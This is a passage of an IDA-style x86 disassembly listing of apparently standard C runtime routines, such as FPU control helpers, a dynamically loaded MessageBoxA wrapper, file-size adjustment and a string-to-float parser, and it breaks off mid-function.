sub_41D6C3	proc near		; CODE XREF: sub_41CEA6+DEp

var_4		= word ptr -4

		push	ecx
		fstsw	[esp+4+var_4]
		movsx	eax, [esp+4+var_4]
		pop	ecx
		retn
sub_41D6C3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D6D0	proc near		; CODE XREF: sub_41CEA6+1E6p

var_4		= word ptr -4

		push	ecx
		fnstsw	[esp+4+var_4]
		fnclex
		movsx	eax, [esp+4+var_4]
		pop	ecx
		retn
sub_41D6D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D6DE	proc near		; CODE XREF: sub_419AF8+13p
					; sub_419AF8+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		and	ecx, [ebp+arg_4]
		not	eax
		and	eax, [ebp+var_4]
		or	eax, ecx
		mov	[ebp+arg_4], eax
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_41D6DE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D702	proc near		; CODE XREF: sub_41D14B+20p
					; sub_41D14B+3Ap ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  4

		push	ecx
		push	ecx
		mov	cl, byte ptr [esp+8+arg_0]
		test	cl, 1
		jz	short loc_41D718
		fld	tbyte_42D2F8
		fistp	[esp+8+arg_0]
		wait


loc_41D718:				; CODE XREF: sub_41D702+9j
		test	cl, 8
		jz	short loc_41D72E
		fstsw	ax
		fld	tbyte_42D2F8
		fstp	[esp+8+var_8]
		wait
		fstsw	ax


loc_41D72E:				; CODE XREF: sub_41D702+19j
		test	cl, 10h
		jz	short loc_41D73E
		fld	tbyte_42D304
		fstp	[esp+8+var_8]
		wait


loc_41D73E:				; CODE XREF: sub_41D702+2Fj
		test	cl, 4
		jz	short loc_41D74C
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_41D74C:				; CODE XREF: sub_41D702+3Fj
		test	cl, 20h
		jz	short loc_41D758
		fldpi
		fstp	[esp+8+var_8]
		wait


loc_41D758:				; CODE XREF: sub_41D702+4Dj
		pop	ecx
		pop	ecx
		retn
sub_41D702	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D75B	proc near		; CODE XREF: sub_419E4A+132p
					; sub_41C9FD+13Ap

var_10		= byte ptr -10h
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_A		= byte ptr  12h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		xor	ebx, ebx
		cmp	dword_47A1C4, ebx
		push	esi
		push	edi
		jnz	short loc_41D7DB
		push	offset aUser32_dll ; "user32.dll"
		call	ds:dword_41F070	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41D816
		mov	esi, ds:dword_41F074
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	dword_47A1C4, eax
		jz	short loc_41D816
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_47A1C8, eax
		call	esi	; GetProcAddress
		cmp	dword_479E5C, 2
		mov	dword_47A1CC, eax
		jnz	short loc_41D7DB
		push	offset aGetuserobjecti ; "GetUserObjectInformationA"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	dword_47A1D4, eax
		jz	short loc_41D7DB
		push	offset aGetprocesswind ; "GetProcessWindowStation"
		push	edi
		call	esi	; GetProcAddress
		mov	dword_47A1D0, eax


loc_41D7DB:				; CODE XREF: sub_41D75B+11j
					; sub_41D75B+60j ...
		mov	eax, dword_47A1D0
		test	eax, eax
		jz	short loc_41D820
		call	eax	; GetProcessWindowStation
		test	eax, eax
		jz	short loc_41D807
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Ch
		lea	ecx, [ebp+var_10]
		push	ecx
		push	1
		push	eax
		call	dword_47A1D4	; GetUserObjectInformationA
		test	eax, eax
		jz	short loc_41D807
		test	[ebp+var_8], 1
		jnz	short loc_41D820


loc_41D807:				; CODE XREF: sub_41D75B+8Dj
					; sub_41D75B+A4j
		cmp	dword_479E68, 4
		jb	short loc_41D81A
		or	[ebp+arg_A], 20h
		jmp	short loc_41D83F
; ---------------------------------------------------------------------------


loc_41D816:				; CODE XREF: sub_41D75B+22j
					; sub_41D75B+3Dj
		xor	eax, eax
		jmp	short loc_41D84F
; ---------------------------------------------------------------------------


loc_41D81A:				; CODE XREF: sub_41D75B+B3j
		or	[ebp+arg_A], 4
		jmp	short loc_41D83F
; ---------------------------------------------------------------------------


loc_41D820:				; CODE XREF: sub_41D75B+87j
					; sub_41D75B+AAj
		mov	eax, dword_47A1C8
		test	eax, eax
		jz	short loc_41D83F
		call	eax	; GetActiveWindow
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_41D83F
		mov	eax, dword_47A1CC
		test	eax, eax
		jz	short loc_41D83F
		push	ebx
		call	eax	; GetLastActivePopup
		mov	ebx, eax


loc_41D83F:				; CODE XREF: sub_41D75B+B9j
					; sub_41D75B+C3j ...
		push	dword ptr [ebp+10h]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	ebx
		call	dword_47A1C4	; MessageBoxA


loc_41D84F:				; CODE XREF: sub_41D75B+BDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D75B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D854	proc near		; CODE XREF: sub_41D885+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_47A401[eax], cl
		jnz	short loc_41D881
		cmp	[esp+arg_4], 0
		jz	short loc_41D87A
		movzx	eax, ds:word_427AB2[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_41D87C
; ---------------------------------------------------------------------------


loc_41D87A:				; CODE XREF: sub_41D854+16j
		xor	eax, eax


loc_41D87C:				; CODE XREF: sub_41D854+24j
		test	eax, eax
		jnz	short loc_41D881
		retn
; ---------------------------------------------------------------------------


loc_41D881:				; CODE XREF: sub_41D854+Fj
					; sub_41D854+2Aj
		xor	eax, eax
		inc	eax
		retn
sub_41D854	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D885	proc near		; CODE XREF: sub_41A15E+35p

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_41D854
		add	esp, 0Ch
		retn
sub_41D885	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D896	proc near		; CODE XREF: sub_41A7BC+54p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		push	edi
		push	esi
		mov	[ebp+var_4], eax
		call	sub_41B76B
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		pop	ecx
		jnz	short loc_41D8C7
		call	sub_417C70
		mov	dword ptr [eax], 9
		jmp	short loc_41D8F0
; ---------------------------------------------------------------------------


loc_41D8C7:				; CODE XREF: sub_41D896+22j
		push	[ebp+arg_C]
		lea	ecx, [ebp+var_4]
		push	ecx
		push	[ebp+var_8]
		push	eax
		call	ds:dword_41F05C	; SetFilePointer
		cmp	eax, edi
		mov	[ebp+var_8], eax
		jnz	short loc_41D8F6
		call	ds:dword_41F008	; RtlGetLastWin32Error
		test	eax, eax
		jz	short loc_41D8F6
		push	eax
		call	sub_417C82
		pop	ecx


loc_41D8F0:				; CODE XREF: sub_41D896+2Fj
		mov	eax, edi
		mov	edx, edi
		jmp	short loc_41D915
; ---------------------------------------------------------------------------


loc_41D8F6:				; CODE XREF: sub_41D896+47j
					; sub_41D896+51j
		mov	eax, esi
		sar	eax, 5
		mov	eax, dword_47A2E0[eax*4]
		and	esi, 1Fh
		lea	ecx, [esi+esi*8]
		lea	eax, [eax+ecx*4+4]
		and	byte ptr [eax],	0FDh
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]


loc_41D915:				; CODE XREF: sub_41D896+5Ej
		pop	edi
		pop	esi
		leave
		retn
sub_41D896	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]
		mov	al, 0FFh
		mov	edi, edi


loc_41D930:				; CODE XREF: .text:0041D940j
					; .text:0041D960j
		or	al, al
		jz	short loc_41D966
		mov	al, [esi]
		add	esi, 1
		mov	ah, [edi]
		add	edi, 1
		cmp	ah, al
		jz	short loc_41D930
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_41D930
		sbb	al, al
		sbb	al, 0FFh


loc_41D966:				; CODE XREF: .text:0041D932j
		movsx	eax, al
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D96E	proc near		; CODE XREF: sub_41BFAD+2BDp

var_100C	= byte ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_412DD0
		mov	eax, dword_42CE38
		xor	eax, [ebp+4]
		push	ebx
		push	esi
		push	1
		xor	esi, esi
		push	esi
		push	[ebp+arg_0]
		mov	[ebp+var_4], eax
		call	sub_419BC9
		or	ebx, 0FFFFFFFFh
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_41DA98
		push	2
		push	esi
		push	[ebp+arg_0]
		call	sub_419BC9
		add	esp, 0Ch
		cmp	eax, ebx
		jz	loc_41DA98
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41DA3B
		mov	ebx, 1000h
		push	ebx
		lea	eax, [ebp+var_100C]
		push	esi
		push	eax
		call	sub_41ADD0
		push	8000h
		push	[ebp+arg_0]
		call	sub_41E541
		add	esp, 14h
		mov	[ebp+var_C], eax


loc_41D9EC:				; CODE XREF: sub_41D96E+A2j
		cmp	edi, ebx
		mov	eax, ebx
		jge	short loc_41D9F4
		mov	eax, edi


loc_41D9F4:				; CODE XREF: sub_41D96E+82j
		push	eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	[ebp+arg_0]
		call	sub_41A7BC
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41DA14
		sub	edi, eax
		test	edi, edi
		jg	short loc_41D9EC
		jmp	short loc_41DA2C
; ---------------------------------------------------------------------------


loc_41DA14:				; CODE XREF: sub_41D96E+9Cj
		call	sub_417C79
		cmp	dword ptr [eax], 5
		jnz	short loc_41DA29
		call	sub_417C70
		mov	dword ptr [eax], 0Dh


loc_41DA29:				; CODE XREF: sub_41D96E+AEj
		or	esi, 0FFFFFFFFh


loc_41DA2C:				; CODE XREF: sub_41D96E+A4j
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	sub_41E541
		pop	ecx
		pop	ecx
		jmp	short loc_41DA83
; ---------------------------------------------------------------------------


loc_41DA3B:				; CODE XREF: sub_41D96E+56j
		jge	short loc_41DA83
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419BC9
		push	[ebp+arg_0]
		call	sub_41B76B
		add	esp, 10h
		push	eax
		call	ds:dword_41F10C	; SetEndOfFile
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, ebx
		jnz	short loc_41DA83
		call	sub_417C70
		mov	dword ptr [eax], 0Dh
		call	sub_417C79
		mov	edi, eax
		call	ds:dword_41F008	; RtlGetLastWin32Error
		mov	[edi], eax


loc_41DA83:				; CODE XREF: sub_41D96E+CBj
					; sub_41D96E:loc_41DA3Bj ...
		push	0
		push	[ebp+var_8]
		push	[ebp+arg_0]
		call	sub_419BC9
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_41DA9A
; ---------------------------------------------------------------------------


loc_41DA98:				; CODE XREF: sub_41D96E+32j
					; sub_41D96E+48j
		mov	eax, ebx


loc_41DA9A:				; CODE XREF: sub_41D96E+128j
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	esi
		pop	ebx
		call	sub_4182D6
		leave
		retn
sub_41D96E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DAA9	proc near		; CODE XREF: sub_41C31B+23p
					; sub_41C31B+3Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		lea	ecx, [edx+esi]
		xor	eax, eax
		cmp	ecx, edx
		jb	short loc_41DABF
		cmp	ecx, esi
		jnb	short loc_41DAC2


loc_41DABF:				; CODE XREF: sub_41DAA9+10j
		xor	eax, eax
		inc	eax


loc_41DAC2:				; CODE XREF: sub_41DAA9+14j
		mov	edx, [esp+4+arg_8]
		mov	[edx], ecx
		pop	esi
		retn
sub_41DAA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DACA	proc near		; CODE XREF: sub_41DB83+4Bp
					; sub_41DB83+6Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_41DAA9
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41DAFC
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_41DAA9
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41DAFC
		inc	dword ptr [esi+8]


loc_41DAFC:				; CODE XREF: sub_41DACA+19j
					; sub_41DACA+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_41DAA9
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41DB14
		inc	dword ptr [esi+8]


loc_41DB14:				; CODE XREF: sub_41DACA+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_41DAA9
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_41DACA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB28	proc near		; CODE XREF: sub_41DB83+3Bp
					; sub_41DB83+41p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, [eax]
		mov	ecx, esi
		add	esi, esi
		push	edi
		mov	edi, [eax+4]
		shr	ecx, 1Fh
		mov	[eax], esi
		lea	esi, [edi+edi]
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+4], esi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_41DB28	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB56	proc near		; CODE XREF: sub_41E0A1+1C1p
					; sub_41E5A3+18Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		shr	ecx, 1
		shl	esi, 1Fh
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		or	ecx, edi
		shr	edx, 1
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_41DB56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DB83	proc near		; CODE XREF: sub_41DC67+362p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_42CE38
		xor	eax, [ebp+4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		cmp	eax, edx
		push	esi
		push	edi
		mov	[ebp+var_8], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_41DC01
		mov	[ebp+arg_8], eax


loc_41DBB5:				; CODE XREF: sub_41DB83+7Aj
		mov	esi, ebx
		lea	edi, [ebp+var_14]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_41DB28
		push	ebx
		call	sub_41DB28
		lea	eax, [ebp+var_14]
		push	eax
		push	ebx
		call	sub_41DACA
		push	ebx
		call	sub_41DB28
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		push	eax
		push	ebx
		call	sub_41DACA
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_41DBB5
		xor	edx, edx


loc_41DC01:				; CODE XREF: sub_41DB83+2Dj
		cmp	[ebx+8], edx
		jnz	short loc_41DC35
		mov	edi, [ebx+8]


loc_41DC09:				; CODE XREF: sub_41DB83+ADj
		mov	ecx, [ebx+4]
		add	[ebp+var_8], 0FFF0h
		mov	eax, ecx
		shr	eax, 10h
		mov	edi, eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		cmp	edi, edx
		mov	[ebx+4], esi
		mov	[ebx], eax
		jz	short loc_41DC09
		mov	[ebx+8], edi


loc_41DC35:				; CODE XREF: sub_41DB83+81j
		mov	esi, 8000h
		jmp	short loc_41DC4A
; ---------------------------------------------------------------------------


loc_41DC3C:				; CODE XREF: sub_41DB83+CAj
		push	ebx
		call	sub_41DB28
		add	[ebp+var_8], 0FFFFh
		pop	ecx


loc_41DC4A:				; CODE XREF: sub_41DB83+B7j
		test	[ebx+8], esi
		jz	short loc_41DC3C
		mov	ecx, [ebp+var_4]
		mov	ax, word ptr [ebp+var_8]
		xor	ecx, [ebp+4]
		pop	edi
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		call	sub_4182D6
		leave
		retn
sub_41DB83	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DC67	proc near		; CODE XREF: sub_41C60D+22p
					; sub_41C650+22p

var_58		= byte ptr -58h
var_41		= byte ptr -41h
var_3C		= dword	ptr -3Ch
var_36		= dword	ptr -36h
var_32		= dword	ptr -32h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		mov	eax, dword_42CE38
		xor	eax, [ebp+4]
		push	ebx
		push	esi
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	edi
		mov	edi, [ebp+arg_8]
		lea	esi, [ebp+var_58]
		mov	[ebp+var_8], esi
		mov	[ebp+var_2C], eax
		mov	[ebp+var_1C], 1
		mov	[ebp+var_C], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_18], eax
		mov	[ebp+arg_8], edi


loc_41DCA8:				; CODE XREF: sub_41DC67+58j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_41DCBE
		cmp	cl, 9
		jz	short loc_41DCBE
		cmp	cl, 0Ah
		jz	short loc_41DCBE
		cmp	cl, 0Dh
		jnz	short loc_41DCC1


loc_41DCBE:				; CODE XREF: sub_41DC67+46j
					; sub_41DC67+4Bj ...
		inc	edi
		jmp	short loc_41DCA8
; ---------------------------------------------------------------------------


loc_41DCC1:				; CODE XREF: sub_41DC67+55j
					; sub_41DC67+B5j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_41DF40	; default
					; jumptable 0041DCCD case 10
		jmp	ds:off_41E071[eax*4] ; switch jump


loc_41DCD4:				; DATA XREF: .text:off_41E071o
		cmp	bl, 31h		; jumptable 0041DCCD case 0
		jl	short loc_41DCE5
		cmp	bl, 39h
		jg	short loc_41DCE5


loc_41DCDE:				; CODE XREF: sub_41DC67+CEj
					; sub_41DC67+129j
		push	3
		jmp	loc_41DEFF
; ---------------------------------------------------------------------------


loc_41DCE5:				; CODE XREF: sub_41DC67+70j
					; sub_41DC67+75j
		cmp	bl, byte_42D090
		jnz	short loc_41DCF4


loc_41DCED:				; CODE XREF: sub_41DC67+135j
		push	5
		jmp	loc_41DF36
; ---------------------------------------------------------------------------


loc_41DCF4:				; CODE XREF: sub_41DC67+84j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_41DD1E
		dec	eax
		dec	eax
		jz	short loc_41DD12
		sub	eax, 3
		jz	loc_41DDAB
		mov	[ebp+var_8], esi
		dec	edi
		jmp	loc_41DEBD
; ---------------------------------------------------------------------------


loc_41DD12:				; CODE XREF: sub_41DC67+97j
		push	2
		pop	eax
		mov	[ebp+var_2C], 8000h
		jmp	short loc_41DCC1
; ---------------------------------------------------------------------------


loc_41DD1E:				; CODE XREF: sub_41DC67+93j
		and	[ebp+var_2C], 0
		push	2
		pop	eax
		jmp	short loc_41DCC1
; ---------------------------------------------------------------------------


loc_41DD27:				; CODE XREF: sub_41DC67+66j
					; DATA XREF: .text:off_41E071o
		xor	eax, eax	; jumptable 0041DCCD case 1
		inc	eax
		cmp	bl, 31h
		mov	[ebp+var_14], eax
		jl	short loc_41DD37
		cmp	bl, 39h
		jle	short loc_41DCDE


loc_41DD37:				; CODE XREF: sub_41DC67+C9j
		cmp	bl, byte_42D090
		jnz	short loc_41DD46


loc_41DD3F:				; CODE XREF: sub_41DC67+182j
		push	4
		jmp	loc_41DF36
; ---------------------------------------------------------------------------


loc_41DD46:				; CODE XREF: sub_41DC67+D6j
		cmp	bl, 2Bh
		jz	short loc_41DD80
		cmp	bl, 2Dh
		jz	short loc_41DD80
		cmp	bl, 30h
		jz	loc_41DCC1


loc_41DD59:				; CODE XREF: sub_41DC67+1DAj
		cmp	bl, 43h
		jle	loc_41DEB9
		cmp	bl, 45h
		jle	short loc_41DD79
		cmp	bl, 63h
		jle	loc_41DEB9
		cmp	bl, 65h
		jg	loc_41DEB9


loc_41DD79:				; CODE XREF: sub_41DC67+FEj
		push	6
		jmp	loc_41DF36
; ---------------------------------------------------------------------------


loc_41DD80:				; CODE XREF: sub_41DC67+E2j
					; sub_41DC67+E7j ...
		dec	edi
		push	0Bh
		jmp	loc_41DF36
; ---------------------------------------------------------------------------


loc_41DD88:				; CODE XREF: sub_41DC67+66j
					; DATA XREF: .text:off_41E071o
		cmp	bl, 31h		; jumptable 0041DCCD case 2
		jl	short loc_41DD96
		cmp	bl, 39h
		jle	loc_41DCDE


loc_41DD96:				; CODE XREF: sub_41DC67+124j
		cmp	bl, byte_42D090
		jz	loc_41DCED
		cmp	bl, 30h
		jnz	loc_41DF0B


loc_41DDAB:				; CODE XREF: sub_41DC67+9Cj
		xor	eax, eax
		inc	eax
		jmp	loc_41DCC1
; ---------------------------------------------------------------------------


loc_41DDB3:				; CODE XREF: sub_41DC67+66j
					; DATA XREF: .text:off_41E071o
		mov	[ebp+var_14], 1	; jumptable 0041DCCD case 3
		jmp	short loc_41DDD3
; ---------------------------------------------------------------------------


loc_41DDBC:				; CODE XREF: sub_41DC67+178j
		cmp	[ebp+var_C], 19h
		jnb	short loc_41DDCD
		inc	[ebp+var_C]
		sub	bl, 30h
		mov	[esi], bl
		inc	esi
		jmp	short loc_41DDD0
; ---------------------------------------------------------------------------


loc_41DDCD:				; CODE XREF: sub_41DC67+159j
		inc	[ebp+var_10]


loc_41DDD0:				; CODE XREF: sub_41DC67+164j
		mov	bl, [edi]
		inc	edi


loc_41DDD3:				; CODE XREF: sub_41DC67+153j
		movzx	eax, bl
		push	eax
		call	sub_41ABBC
		test	eax, eax
		pop	ecx
		jnz	short loc_41DDBC
		cmp	bl, byte_42D090
		jnz	short loc_41DE2F
		jmp	loc_41DD3F
; ---------------------------------------------------------------------------


loc_41DDEE:				; CODE XREF: sub_41DC67+66j
					; DATA XREF: .text:off_41E071o
		xor	eax, eax	; jumptable 0041DCCD case 4
		inc	eax
		cmp	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	[ebp+var_28], eax
		jnz	short loc_41DE21
		jmp	short loc_41DE05
; ---------------------------------------------------------------------------


loc_41DDFF:				; CODE XREF: sub_41DC67+1A1j
		dec	[ebp+var_10]
		mov	bl, [edi]
		inc	edi


loc_41DE05:				; CODE XREF: sub_41DC67+196j
		cmp	bl, 30h
		jz	short loc_41DDFF
		jmp	short loc_41DE21
; ---------------------------------------------------------------------------


loc_41DE0C:				; CODE XREF: sub_41DC67+1C6j
		cmp	[ebp+var_C], 19h
		jnb	short loc_41DE1E
		inc	[ebp+var_C]
		sub	bl, 30h
		mov	[esi], bl
		inc	esi
		dec	[ebp+var_10]


loc_41DE1E:				; CODE XREF: sub_41DC67+1A9j
		mov	bl, [edi]
		inc	edi


loc_41DE21:				; CODE XREF: sub_41DC67+194j
					; sub_41DC67+1A3j
		movzx	eax, bl
		push	eax
		call	sub_41ABBC
		test	eax, eax
		pop	ecx
		jnz	short loc_41DE0C


loc_41DE2F:				; CODE XREF: sub_41DC67+180j
		cmp	bl, 2Bh
		jz	loc_41DD80
		cmp	bl, 2Dh
		jz	loc_41DD80
		jmp	loc_41DD59
; ---------------------------------------------------------------------------


loc_41DE46:				; CODE XREF: sub_41DC67+66j
					; DATA XREF: .text:off_41E071o
		movzx	eax, bl		; jumptable 0041DCCD case 5
		push	eax
		mov	[ebp+var_28], 1
		call	sub_41ABBC
		test	eax, eax
		pop	ecx
		jz	loc_41DF0B
		push	4
		jmp	loc_41DEFF
; ---------------------------------------------------------------------------


loc_41DE66:				; CODE XREF: sub_41DC67+66j
					; DATA XREF: .text:off_41E071o
		cmp	bl, 31h		; jumptable 0041DCCD case 6
		lea	ecx, [edi-2]
		mov	[ebp+arg_8], ecx
		jl	short loc_41DE7A
		cmp	bl, 39h
		jle	loc_41DEFD


loc_41DE7A:				; CODE XREF: sub_41DC67+208j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	loc_41DF34
		dec	eax
		dec	eax
		jz	loc_41DF28
		sub	eax, 3
		jnz	loc_41DF4E


loc_41DE97:				; CODE XREF: sub_41DC67+2A2j
		push	8
		jmp	loc_41DF36
; ---------------------------------------------------------------------------


loc_41DE9E:				; CODE XREF: sub_41DC67+66j
					; DATA XREF: .text:off_41E071o
		mov	[ebp+var_24], 1	; jumptable 0041DCCD case 8
		jmp	short loc_41DEAA
; ---------------------------------------------------------------------------


loc_41DEA7:				; CODE XREF: sub_41DC67+246j
		mov	bl, [edi]
		inc	edi


loc_41DEAA:				; CODE XREF: sub_41DC67+23Ej
		cmp	bl, 30h
		jz	short loc_41DEA7
		cmp	bl, 31h
		jl	short loc_41DEB9
		cmp	bl, 39h
		jle	short loc_41DEFD


loc_41DEB9:				; CODE XREF: sub_41DC67+F5j
					; sub_41DC67+103j ...
		dec	edi


loc_41DEBA:				; CODE XREF: sub_41DC67+2A7j
					; sub_41DC67+2E2j
		mov	[ebp+var_8], esi


loc_41DEBD:				; CODE XREF: sub_41DC67+A6j
					; sub_41DC67+2ECj ...
		cmp	[ebp+var_14], 0
		mov	eax, [ebp+arg_4]
		mov	[eax], edi
		jz	loc_41E01C
		push	18h
		pop	eax
		cmp	[ebp+var_C], eax
		jbe	short loc_41DEE4
		cmp	[ebp+var_41], 5
		jl	short loc_41DEDD
		inc	[ebp+var_41]


loc_41DEDD:				; CODE XREF: sub_41DC67+271j
		dec	esi
		inc	[ebp+var_10]
		mov	[ebp+var_C], eax


loc_41DEE4:				; CODE XREF: sub_41DC67+26Bj
		cmp	[ebp+var_C], 0
		jbe	loc_41E043
		jmp	loc_41DFB8
; ---------------------------------------------------------------------------


loc_41DEF3:				; CODE XREF: sub_41DC67+66j
					; DATA XREF: .text:off_41E071o
		cmp	bl, 31h		; jumptable 0041DCCD case 7
		jl	short loc_41DF06
		cmp	bl, 39h
		jg	short loc_41DF06


loc_41DEFD:				; CODE XREF: sub_41DC67+20Dj
